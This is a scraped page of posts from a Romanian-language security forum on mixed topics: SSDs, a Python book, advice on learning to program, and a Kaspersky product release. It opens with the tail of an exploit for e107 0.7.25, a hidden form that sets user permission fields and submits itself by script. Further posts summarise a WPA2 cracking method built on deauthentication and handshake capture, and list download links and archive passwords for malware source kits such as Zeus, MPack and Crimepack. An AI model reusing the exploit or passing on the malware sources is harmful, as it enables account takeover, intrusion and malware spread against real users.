<input type="hidden" name="user_applicable" value="255"> <input type="hidden" name="user_read" value="0"> <input type="hidden" name="user_write" value="253"> <input type="hidden" name="user_hide" value="0"> <input type=submit> </form> <script> document.m.submit(); </script> Sursa: e107 0.7.25 Cross Site Scripting / SQL Injection ? Packet Storm
  17. Why SSDs are worth the money Here's a great, sweary presentation from Artur Bergman about the joy of using SSDs in your laptop and data-center, and how it's totally, absolutely worth the expense of replacing spinning drives with solid-state drives. I've been solid-state for more than a year, and I totally, absolutely agree. Video: http://www.boingboing.net/2011/06/17/why-ssds-are-worth-t.html
  18. Learn Python The Hard Way, 2nd Edition This is the HTML preview of Learn Python The Hard Way, 2nd Edition. It is a work in progress and will most likely have some errors as I work on the full release of the 2nd Edition. The Hard Way Is Easier Exercise 0: The Setup Exercise 1: A Good First Program Exercise 2: Comments And Pound Characters Exercise 3: Numbers And Math Exercise 4: Variables And Names Exercise 5: More Variables And Printing Exercise 6: Strings And Text Exercise 7: More Printing Exercise 8: Printing, Printing Exercise 9: Printing, Printing, Printing Exercise 10: What Was That? Exercise 11: Asking Questions Exercise 12: Prompting People Exercise 13: Parameters, Unpacking, Variables Exercise 14: Prompting And Passing Exercise 15: Reading Files Exercise 16: Reading And Writing Files Exercise 17: More Files Exercise 18: Names, Variables, Code, Functions Exercise 19: Functions And Variables Exercise 20: Functions And Files Exercise 21: Functions Can Return Something Exercise 22: What Do You Know So Far? Exercise 23: Read Some Code Exercise 24: More Practice Exercise 25: Even More Practice Exercise 26: Congratulations, Take A Test! Exercise 27: Memorizing Logic Exercise 28: Boolean Practice Exercise 29: What If Exercise 30: Else And If Exercise 31: Making Decisions Exercise 32: Loops And Lists Exercise 33: While Loops Exercise 34: Accessing Elements Of Lists Exercise 35: Branches and Functions Exercise 36: Designing and Debugging Exercise 37: Symbol Review Exercise 38: Reading Code Exercise 39: Doing Things To Lists Exercise 40: Dictionaries, Oh Lovely Dictionaries Exercise 41: Gothons From Planet Percal #25 Exercise 42: Gothons Are Getting Classy Exercise 43: You Make A Game Exercise 44: Evaluating Your Game Exercise 45: Is-A, Has-A, Objects, and Classes Exercise 46: A Project Skeleton Exercise 47: Automated Testing Exercise 48: Advanced User Input Exercise 49: Making Sentences Exercise 50: Your First Website Exercise 51: Getting Input From A Browser Exercise 52: Testing The Web Application Next Steps Advice From An Old Programmer Indices and tables Index Module Index Search Page Online: http://learnpythonthehardway.org/book/
  19. Cracking WPA2 Tutorial June 16th, 2011 | By: Andrew Whitaker| In this video we will demonstrate how to crack WPA2 using the Airmon-ng suite. We will do it by: Identifying an access point Capturing traffic from that access point Attempt to capture the handshake. We have two options for doing this. We can wait for a client to connect on their own We can run a deauth attack to force them to disconnect and then you can capture the handshake then . Once you have captured the handshake, you can attempt to crack it with a word list or a rainbow table. The key can then be found from there. Enjoy. Youtube: http://www.youtube.com/watch?v=pvjMJKUfAjo Sursa: Cracking WPA2 Tutorial | InfoSec Resources
  20. Malware Sourcecode Mpack: http://www.secguru.com/files/MPack_Toolkit_v0.94.rar (pass: infected) Crimepack: MEGAUPLOAD - The leading online storage and file delivery service IncognitoRat: http://incognitorat.com/db/Files GhostRat: MEGAUPLOAD - The leading online storage and file delivery service Exe2Vbs: PURGATORY VIRUS TEAM - Exe2Vbs v1.6 Zeus: http://www.mdl4.com/files/zeus.rar (pass:zeus) Stuxnet: https://github.com/Laurelai/decompile-dump/zipball/master ZeroAccess/Max++(64Bit): http://resources.infosecinstitute.com/wp-content/uploads/Max++-downloader-install_2010.zip Posted by Satyam Pujari a.k.a Satyamhax Sursa: ::eSploit::: Malware Sourcecode
  21. Aoleu, cred ca C++ este cel mai bine structura limbaj din perspectiva OOP. Poate doar C# il poate surclasa...
  22. Am început cu programele mici in Visual Basic 6. Apoi am pus mana pe o carte de 900 de pagini (Visual Basic 6 - Manualul programatorului) si pe una de vreo 700 (Visual Basic 5 - 1001 de exemple, cam asa ceva) si am inteles limbajul. Cu testele pe diferite API-uri Windows, citind documentatia de pe MSDN pe care initial nu o citeam ci doar banuiam ce fac acele functii, am inceput sa inteleg perfect cum sta treaba. Si cotrobaiam prin multe coduri sursa de unde am invatat multe. Apoi am trecut pe PHP, am citit "Initiere in PHP 5" - Steve Holzner apoi "PHP 4 in imagini" si am invatat cam tot ce imi trebuia la inceput. HTML stiam deja partial, si din ce mai facusem la scoala... Iar MySQL din capitolele dedicate acestui SGBDR din cartile enumerate. Cu timpul am citit si documentatia multor functii de pe php.net si intreg capitolul dedicat PHP 5 - OOP, si multe alte lucruri de pe php.net. Si din coduri sursa am mai invatat cate ceva. Am trecut apoi si la o cartulie de JavaScript si vreau sa invat notiuni mai avansate de MySQL. C++ am invatat din liceu, dar nu mare lucru. Abia anul acesta m-am apucat serios de OOP (facultate) si e singura materie care mi-a placut si la care am inteles cam toate prostiile, cat de marunte, de la mostenire virtuala la RTTI. Am citit "C++ manual complet" - Herbert Schildt, "C++ pentru incepatori volumul II" - Liviu Negreanu, am retinut multe idei din "Secrete C++" - Constantin Galatean... Am citit si o carte despre Java si anume "Java de la 0 la expert" care mi s-a parut cea mai buna carte de programare citita, si o carte despre "Perl", dar nu m-au pasionat aceste limbaje si nu mai stiu mare lucru, nu prea le-am folosit. Pe Linux, shell scriping nu stiu cine stie ce, doar idile de baza, citite intr-un articol, doua si din citirea si modificarea diverselor fisiere de sistem. Eu nu pot citi carti pe calculator, nu suport, prefer formatul pe hartie. Si imi place sa citesc, citeam si literatura... In fine, asta e ideea mea de baza: invatati din carti! Una e sa iti explice cineva care lucreaza de ani de zile in domeniu, alta e sa iti explice Vasile de 12 ani care a inteles si el dintr-un tutorial ca daca pui "echo 'Plm';" apare pe site "Plm". Ca tot veni vorba: degeaba invatati un limbaj de programare daca nu lucrati des in el. Faceti proiecte! Cat mai multe si cat mai complexe. Va veti trezi ulterior ca vreti sa va angajati si... CV? Ce o sa treceti acolo? Conteaza proiectele foarte mult, cat de mici. Ca sugestie: faceti-va acum un CV. Si o sa vedeti ca nu prea aveti ce trece acolo. Da, puteti spune ca stiti n limbaje de programare, dar la interviuri se intreaba: - C: scrie in C o functie care inverseaza o lista simplu inlantuita - C++: se da un exemplu cu o functie virtuala si upcasting, sa spui daca codul e corect sau nu (daca vreti sa vedeti cate rahaturi pot sa apara in programe OOP in C++ postati aici si o sa vedeti ca nu e atat de usor sa fii un compilator uman) - PHP: se da o clasa, se serializeaza apoi se deserializeaza un obiect, cu __sleep si __wakeup de riguare. Ce se va afisa daca nu stiu ce... - PHP: se da o clasa abstracta, se mosteneste dar nu se implementeaza toate metodele bla bla... In fine, sunt foarte multe lucruri. Daca nu cititi o documentatie serioasa, gen CARTE nu aveti de unde sa le stiti. Sfatul meu: CITITI!
  23. Nu e cine stie ce, trebuia sa fie bazat pe expresii regulate, asa ar fi fost de preferat. Oricum, nu are cum sa detecteze exact o vulnerabilitate, detecteaza partial cod potential vulnerabil. De exemplu, SQL Injection se gaseste la interogari, efectuate de exemplu cu mysql_query. Programul cauta dupa aceste apeluri.
  24. S-a lansat Kaspersky Endpoint Security 8 for Linux Securitate | 17 Iunie 2011 Kaspersky Lab anun?? lansarea solu?iei business Kaspersky Endpoint Security 8 for Linux, care combin? toate func?ionalit??ile versiunii anterioare de Kaspersky Anti-Virus 5.7 for Linux cu cele ale Kaspersky Anti-Virus 5.5 for Samba. Administrarea produsului este realizat? prin intermediul unei interfe?e grafice intuitive, care este pe deplin compatibil? cu ecosistemele desktop Gnome ?i KDE. De asemenea, parametrii programului pot fi configura?i ?i din fereastra de comand? (command line). Kaspersky Endpoint Security 8 for Linux face parte din linia de solu?ii de securitate dedicate companiilor ?i poate fi integrat? în infrastructura de securitate a organiza?iei. Aceasta este compatibil? cu toate distribu?iile de Linux, atât pe 32, cât ?i pe 64 de bi?i. Kaspersky Endpoint Security 8 for Linux ofer? protec?ie complet? sta?iilor de lucru care opereaz? pe sisteme Linux, datorit? urm?toarelor inova?ii: • Solu?ia include noul motor antivirus – Kaspersky Anti-Virus Engine 8.0, un modul de analiz? euristic? ?i suport pentru dezinfectarea fi?ierelor stocate în arhive. • Kaspersky Endpoint Security 8 for Linux neutralizeaz? cu succes amenin??rile informatice care ?intesc sistemele de operare Linux, precum ?i pe cele care atac? platformele Windows ?i Mac OS X. Astfel, suita ofer? protec?ie complet? întregii re?ele a companiei, care include ?i sta?ii de lucru care nu opereaz? numai pe Linux. • Noul produs include consola Kaspersky Administration Kit 8.0, o interfa?? centralizat? de management care ofer? posibilitatea administr?rii de la distan??, vizualizarea de rapoarte ?i modificarea politicilor globale de securitate. „Kaspersky Endpoint Security 8 for Linux extinde oportunit??ile disponibile companiilor în termeni de securitate informatic? ?i permite acestora s? implementeze sisteme pentru protec?ia infrastructurii IT, indiferent de platformele de operare folosite pe sta?iile de lucru. Noua versiune a produsului ofer? protec?ie complet? computerelor cu Linux ?i include instrumentele necesare pentru configurarea, controlul ?i gestionarea politicilor centralizate de securitate”, a spus Teodor Cimpoe?u, Managing Director Kaspersky Lab România ?i Bulgaria. Sursa: S-a lansat Kaspersky Endpoint Security 8 for Linux | Agora.ro
  25. Pentru cei care cauta vulnerabilitati in codul sursa e painea lui Dumnezeu.
×
×
  • Create New...